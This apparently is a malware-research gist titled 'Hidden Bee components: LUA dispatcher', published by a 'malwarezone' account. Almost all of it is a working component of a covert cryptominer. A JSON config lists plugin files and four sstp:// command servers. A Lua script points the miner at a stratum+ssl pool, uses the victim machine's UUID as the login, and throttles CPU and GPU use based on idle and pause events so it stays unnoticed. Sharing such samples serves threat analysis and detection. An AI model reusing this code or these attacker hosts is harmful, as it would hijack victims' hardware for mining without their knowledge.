Skip to content

Instantly share code, notes, and snippets.

@malwarezone
Last active May 17, 2019 01:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save malwarezone/b83a5db804aa2379f4a4647aab18f771 to your computer and use it in GitHub Desktop.
Save malwarezone/b83a5db804aa2379f4a4647aab18f771 to your computer and use it in GitHub Desktop.
Hidden Bee components: LUA dispatcher
{
"ul":["mlf_plug.zip.sig","cuda_plug.tlb.sig"],
"schema":["sstp://news.onetouchauthentication.online:443/","sstp://news.onetouchauthentication.club:443/","sstp://news.onetouchauthentication.icu:443/","sstp://news.onetouchauthentication.xyz:443/"]
}
configuration.set("stratum.connect.timeout",20)
configuration.set("stratum.login.timeout",60)
configuration.set("stratum.keepalive.timeout",240)
configuration.set("stratum.stream.timeout",360)
configuration.set("stratum.keepalive",true)
configuration.set("job.idle.count",30)
configuration.set("stratum.lock.count",30)
configuration.set("miner.protocol","stratum+ssl://r.twotouchauthentication.online:17555/")
configuration.set("miner.username",configuration.uuid())
configuration.set("miner.password","x")
configuration.set("miner.agent","MinGate/5.1")
local MessagePack = require("MessagePack")
local cpu_count = framework.get_cpu_count()
local device_count = framework.get_device_count()
local CfgDeviceIterParams = {
["L"] = {
{6,50},{12,1000},{14,1200},{14,0},{14,0}
},
["M"] = {
{6,50},{6,180},{9,500},{12,250},{12,500}
},
["H"] = {
{6,50},{6,180},{9,500},{12,250},{12,500}
}
}
local function CudaConfiguration(flops)
local level = "M"
return CfgDeviceIterParams[level]
end
local function OpenCLConfiguration(flops)
return CfgDeviceIterParams["L"]
end
local function GPU_DevicePolicy(policy,arg)
for i=0, device_count - 1 do
local device_info = framework.get_device_info(i)
if device_info ~= nil then
if device_info.type == "CUDA" then
local index = 2
local cn_blocks = 40
local cn_threads = device_info.mpcount
if policy ~= framework.FRAMEWORK_GPU_L5 then
if type(arg) == "table" then
if arg["action"] == "G1_LAUNCHED" then
if device_info.flops <= 700 then
if arg["Extra"] == "GK" then
policy = framework.FRAMEWORK_GPU_L5
elseif arg["Extra"] == "GS" then
if policy == framework.FRAMEWORK_GPU_L2 then
policy = framework.FRAMEWORK_GPU_L3
elseif policy == framework.FRAMEWORK_GPU_L3 then
policy = framework.FRAMEWORK_GPU_L4
elseif policy == framework.FRAMEWORK_GPU_L4 then
policy = framework.FRAMEWORK_GPU_L5
end
end
end
end
end
end
if policy == framework.FRAMEWORK_GPU_L0 then
cn_blocks = 40
cn_threads = device_info.mpcount
index = 1
elseif policy == framework.FRAMEWORK_GPU_L1 then
cn_blocks = 40
cn_threads = device_info.mpcount
index = 2
elseif policy == framework.FRAMEWORK_GPU_L2 then
if device_info.cores >= 128 then
cn_threads = 16
else
cn_threads = 8
end
cn_blocks = device_info.mpcount
index = 3
elseif policy == framework.FRAMEWORK_GPU_L3 then
if device_info.cores >= 128 then
cn_threads = 8
else
cn_threads = 4
end
cn_blocks = device_info.mpcount
index = 4
elseif policy == framework.FRAMEWORK_GPU_L4 then
if device_info.cores >= 128 then
cn_threads = 4
else
cn_threads = 2
end
cn_blocks = device_info.mpcount
index = 5
elseif policy == framework.FRAMEWORK_GPU_L5 then
else
cn_blocks = 40
cn_threads = device_info.mpcount
index = 2
end
if policy == framework.FRAMEWORK_GPU_L5 then
framework.set_device(i,false)
else
local data = CudaConfiguration(device_info.flops)
if data[index][2] == 0 then
framework.set_device(i,false)
else
framework.set_device_speed(i,data[index][1],data[index][2])
framework.set_device_params(i,cn_threads,cn_blocks)
framework.set_device(i,true)
end
end
elseif device_info.type == "OPENCL" then
local intensity = 160
if policy == framework.FRAMEWORK_GPU_L0 then
intensity = 160
index = 1
elseif policy == framework.FRAMEWORK_GPU_L1 then
policy = framework.FRAMEWORK_GPU_L5
if type(arg) == "table" then
if arg["action"] == "LONG_IDLE" then
policy = framework.FRAMEWORK_GPU_L1
intensity = 160
index = 2
end
end
elseif policy == framework.FRAMEWORK_GPU_L2 then
policy = framework.FRAMEWORK_GPU_L5
if type(arg) == "table" then
if arg["action"] == "LONG_IDLE" then
policy = framework.FRAMEWORK_GPU_L2
intensity = 80
index = 3
end
end
elseif policy == framework.FRAMEWORK_GPU_L3 then
policy = framework.FRAMEWORK_GPU_L5
if type(arg) == "table" then
if arg["action"] == "LONG_IDLE" then
policy = framework.FRAMEWORK_GPU_L3
intensity = 40
index = 4
end
end
elseif policy == framework.FRAMEWORK_GPU_L4 then
policy = framework.FRAMEWORK_GPU_L5
if type(arg) == "table" then
if arg["action"] == "LONG_IDLE" then
policy = framework.FRAMEWORK_GPU_L4
intensity = 32
index = 5
end
end
elseif policy == framework.FRAMEWORK_GPU_L5 then
else
policy = framework.FRAMEWORK_GPU_L5
end
if policy == framework.FRAMEWORK_GPU_L5 then
framework.set_device(i,false)
else
local data = OpenCLConfiguration(device_info.flops)
framework.set_device_speed(i,data[1][1],data[1][2])
framework.set_device_intensity(i,intensity)
framework.set_device(i,true)
end
end
end
end
end
framework.set_cpu_threads(1)
GPU_DevicePolicy(framework.FRAMEWORK_GPU_L1)
dispatcher.register(function(event,arg)
if event == framework.EVENT_DEVICE_PAUSE then
framework.pause_all_device(10)
elseif event == framework.EVENT_DEVICE_RESUME then
framework.resume_all_device()
elseif event == framework.EVENT_IDLE_FULLSPEED then
GPU_DevicePolicy(framework.FRAMEWORK_CPU_L0)
elseif event == framework.EVENT_SPEED_CONDITION then
if arg ~= nil then
local data = MessagePack.unpack(arg)
if type(data) == "table" then
local C_condition = data["C"]
local G_condition = data["G"]
if C_condition == framework.FRAMEWORK_CPU_L0 then
local threads = cpu_count - 1
if threads < 1 then
threads = 1
end
framework.set_cpu_threads(threads)
elseif C_condition == framework.FRAMEWORK_CPU_L1 then
local threads = cpu_count / 2
if threads < 1 then
threads = 1
end
framework.set_cpu_threads(threads)
elseif C_condition == framework.FRAMEWORK_CPU_L2 then
local threads = cpu_count / 4
if threads < 1 then
threads = 1
end
framework.set_cpu_threads(threads)
elseif C_condition == framework.FRAMEWORK_CPU_L3 then
framework.set_cpu_threads(1)
elseif C_condition == framework.FRAMEWORK_CPU_L4 then
framework.set_cpu_threads(0)
end
GPU_DevicePolicy(G_condition,data)
end
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment